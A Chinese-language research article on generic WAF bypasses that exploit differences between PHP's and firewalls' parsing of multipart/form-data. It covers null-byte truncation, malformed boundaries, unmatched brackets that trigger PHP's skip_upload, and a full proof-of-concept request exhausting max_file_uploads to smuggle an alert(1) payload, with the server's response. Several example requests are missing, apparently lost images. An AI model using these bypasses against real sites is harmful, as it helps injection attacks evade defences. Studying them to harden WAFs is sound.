首先谈一下WAF。Web应用防火墙,主要用途是对HTTP(s)协议进行校验,拦截恶意的攻击请求,放行正常的业务请求。从架构来看,主要分为:网络层、应用层、云WAF三类。从绕过来看,分为通用型绕过和单一规则绕过。通用型绕过即完全绕过WAF防护,一旦产生绕过后,可以利用该Payload实现任意一种攻击;而单一规则绕过,则仅能够绕过特定规则,例如:SQL注入规则中使用select-1.1from……来绕过 select[sS]*from这一正则规则,绕过以后仅能够实现SQL注入攻击。我所致力研究的属于前者。
从网络层、应用层、云WAF三类场景来看他们的绕过思路也有所区别,例如,对于传统的网络层WAF,采用chunked编码即可绕过,目前多数WAF厂商已经修复,但是我们仍然可以在网络层发包这一方向进行尝试和探索。对于应用层WAF,WAF的处理引擎是经过前端Nginx或Apache(大多数场景都是Nginx及Tengine)完成HTTP协议初步解析以后,再转发给WAF处理引擎的,因而一些网络层组包的技术是无法绕过的。那么就需要我们去研究:对于一个HTTP请求,Nginx解析了什么内容?交给后面的PHP、ASP又解析了什么内容?
本文介绍的思路主要围绕: multipart/form-data。主要针对于POST参数的,对于漏洞点在GET参数位置则用处不大。
1. multipart/form-data 。我们知道,HTTP协议POST请求,除了常规的application/x-www-form-urlencoded以外,还有multipart/form-data这种形式,主要是为了解决上传文件场景下文件内容较大且内置字符不可控的问题。multipart/form-data格式也是可以传递POST参数的。对于Nginx+PHP的架构,Nginx实际上是不负责解析multipart/form-data的body部分的,而是交由PHP来解析,因此WAF所获取的内容就很有可能与后端的PHP发生不一致。
以PHP为例,我们写一个简单的测试脚本:
<?php echo file_get_contents("php://input"); var_dump($_POST); var_dump($_FILES); ?>
|
此时,我们将其转为multipart/form-data格式:
可以看到,实际上和前一种urlencoded是达到了同一种效果,参数并没有进入$_FILES数组,而是进入了$_POST数组。那么,何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的filename=。这9个字符是经过反复测试的,缺一个字符不可,替换一个字符也不可,在其中添加一个字符更不可。
加上了filename=以后的效果:
Bypass WAF的核心思想在于,一些WAF产品处于降低误报考虑,对用户上传文件的内容不做匹配,直接放行。事实上,这些内容在绝大多数场景也无法引起攻击。但关键问题在于,WAF能否准确有效识别出哪些内容是传给$_POST数组的,哪些传给$_FILES数组?如果不能,那我们是否就可以想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass。
Part 1
下面我们来看一下几种入门级的绕过思路:
1. 0x00截断filename
注意在filename之前加入了0x00,而有些WAF在检测前会删除HTTP协议中的0x00,这样就导致了WAF认为是含有filename的普通上传,而后端PHP则认为是POST参数。
2. 双写上传描述行
双写后,一些WAF会取第二行,而实际PHP会获取第一行。
3. 双写整个part开头部分
此时,该参数会引入一些垃圾数据,在命令注入及SQL注入的攻击场景,需要尽可能将前面的内容闭合。
4. 构造假的part部分1
该方法与前一种类似。
5. 构造假的part部分2
注意这里比前一种少了一个换行,数据纯净了许多。
6. 两个boundary
对于php来说,真正的boundary 是 a 。
7. 两个Content-Type
boundary仍然是a
8. 空boundary
注意此时 boundary是空的,并不是分号哦。
9. 空格boundary
注意,此时boundary是可以为空格的。
10. boundary中的逗号
boundary 遇到逗号就结束了。
同理:
Part2
如果你能够融会贯通这十种思路,说明已经入门了,我们开始脑洞升级,来看一下进阶版:
1. 0x00截断进阶
前面,我们介绍了,如果是这样双写,其实是以第一行为主的,这样就是上传文件。但如果我们在适当的地方加入0x00、空格和 , 就会破坏第一行,让PHP反以第二行为主:
这三个位置是首选的。将其替换为0x00和0x20与之同理, 大家可自行测试。
此外还有:
这里的�,也是可以的。
最容易被忽视的是参数名中的0x00。
由此测试还有一个十分鸡肋的方式,用处不大,但有意思。只有当网站获取全部POST数组后以参数前缀来取值的场景才可利用,因为参数名后缀部分不可控。
2. boundary进阶
boundary的名称是可以前后加入任意内容的,WAF如果严格按boundary去取,又要上当了。
第一个Content-Type和冒号部分填入了空格。
如何取boundary是一个问题:
3. 单双引号混合进阶
我们需要考虑的问题是,Content-Disposition中的字段使用单引号还是双引号?
4. urlencoded伪装成为multipart
这个poc很特殊。实际上是urlencoded,但是伪装成了multipart,通过&来截取前后装饰部分,保留id参数的完整性。理论上multipart/form-data 下的内容不进行urldecoded,一些WAF也正是这样设计的,这样做本没有问题,但是如果是urlencoded格式的内容,不进行url解码就会引入%0a这样字符,而这样的字符不解码是可以直接绕过防护规则的,从而导致了绕过。
Part2部分相当于是Part1的一个扩展,篇幅有限,大家只需要在各个位置添加特殊字符fuzz即可。对于Part3 却需要看一点PHP源码了。
Part3
1. skip_upload进阶1
在PHP中,实际上是有一个skip_upload 来控制上传行是否为上传文件的。来看这样一个例子:
前面内容中我们介绍了,如果在第一行的Content-Disposition位置添加�,是有可能引起第一行失效,从而从上传文件变为POST参数的。除此以外,我们来看一下php源码php-5.3.3/main/rfc1867.c
,其中 line: 991 有这样一段内容:
if (!skip_upload) { char *tmp = param; long c = 0; while (*tmp) { if (*tmp == '[') { c++; } else if (*tmp == ']') { c--; if (tmp[1] && tmp[1] != '[') { skip_upload = 1; break; } } if (c < 0) { skip_upload = 1; break; } tmp++; } }
|
其中的param参数是name="f" 也就是id这个参数,那么请问,如何能让它skip_upload呢?
没错,一些理解代码含义的同学应该已经有答案了。通过想办法进入c < 0,c原本是0,遇到[ 就自增1,遇到]就减一。那么,我们构造 name="f]" 即可让c=-1 。
成功。事实上,只要参数中有不成对匹配的左右中括号都可以引发skip_upload。
那么,还有其他的skip_upload吗?
2. skip_upload进阶2
还需要继续研究代码。在php源码 rfc1867.c line 909
/* If file_uploads=off, skip the file part */ if (!PG(file_uploads)) { skip_upload = 1; } else if (upload_cnt <= 0) { skip_upload = 1; sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded"); }
|
Maximum number of allowable file uploads has been exceeded ,如何达到Maximum? 发现在php 5.2.12和以上的版本,有一个隐藏的文件上传限制是在php.ini里没有的,就是这个max_file_uploads的设定,该默认值是20, 在php 5.2.17的版本中该值已不再隐藏。文件上传限制最大默认设为20,所以一次上传最大就是20个文档,所以超出20个就会出错了。
那么:
POST /8.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data;boundary=a; Content-Length: 2065
--a Content-Disposition: form-data; name="a";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="b";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="c";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="d";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="e";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="f";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="g";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="h";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="i";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="j";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="k";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="l";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="m";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="n";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="o";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="p";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="q";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="r";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="s";filename="1.png" Content-Type: image/png
a --a Content-Disposition: form-data; name="t";filename="1.png" Content-Type: image/png
b --a Content-Disposition: form-data; name="id";filename="1.png" Content-Type: image/png
--a Content-Disposition: form-data; name="id"; Content-Type: image/png
alert(1) --a-- |
HTTP/1.1 200 OK Server: nginx/1.19.5 Date: Thu, 03 Mar 2022 07:14:14 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.3.11 Content-Length: 4507
POST content: POST:array(1) { ["id"]=> string(8) "alert(1)" }
FILES:array(20) { ["a"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/php1FFea0" ["error"]=> int(0) ["size"]=> int(1) } ["b"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpGwwobf" ["error"]=> int(0) ["size"]=> int(1) } ["c"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpmJOlzI" ["error"]=> int(0) ["size"]=> int(1) } ["d"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpL9SbXe" ["error"]=> int(0) ["size"]=> int(1) } ["e"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/php5TEkl4" ["error"]=> int(0) ["size"]=> int(1) } ["f"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpeAzjtW" ["error"]=> int(0) ["size"]=> int(1) } ["g"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKQX29k" ["error"]=> int(0) ["size"]=> int(1) } ["h"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpN259vi" ["error"]=> int(0) ["size"]=> int(1) } ["i"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKjE3L1" ["error"]=> int(0) ["size"]=> int(1) } ["j"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpxK3Ja2" ["error"]=> int(0) ["size"]=> int(1) } ["k"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKfmKKS" ["error"]=> int(0) ["size"]=> int(1) } ["l"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpGbWp4q" ["error"]=> int(0) ["size"]=> int(1) } ["m"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpfb4WGA" ["error"]=> int(0) ["size"]=> int(1) } ["n"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpiW4wAU" ["error"]=> int(0) ["size"]=> int(1) } ["o"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpHuAUlt" ["error"]=> int(0) ["size"]=> int(1) } ["p"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpg9JuPK" ["error"]=> int(0) ["size"]=> int(1) } ["q"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpOm7Vx9" ["error"]=> int(0) ["size"]=> int(1) } ["r"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpg1iKx9" ["error"]=> int(0) ["size"]=> int(1) } ["s"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKnTJgz" ["error"]=> int(0) ["size"]=> int(1) } ["t"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpJaXwzl" ["error"]=> int(0) ["size"]=> int(1) } } |
如果删除前面的a-t共计20个构造的part,实际的效果并不能引起POST攻击。如下图所示:
但是,如果拼接了这20个part,实际上就填满了Maximum,导致最后一个upload无法生效,就只能从FILES转化为POST了。
谢谢观看!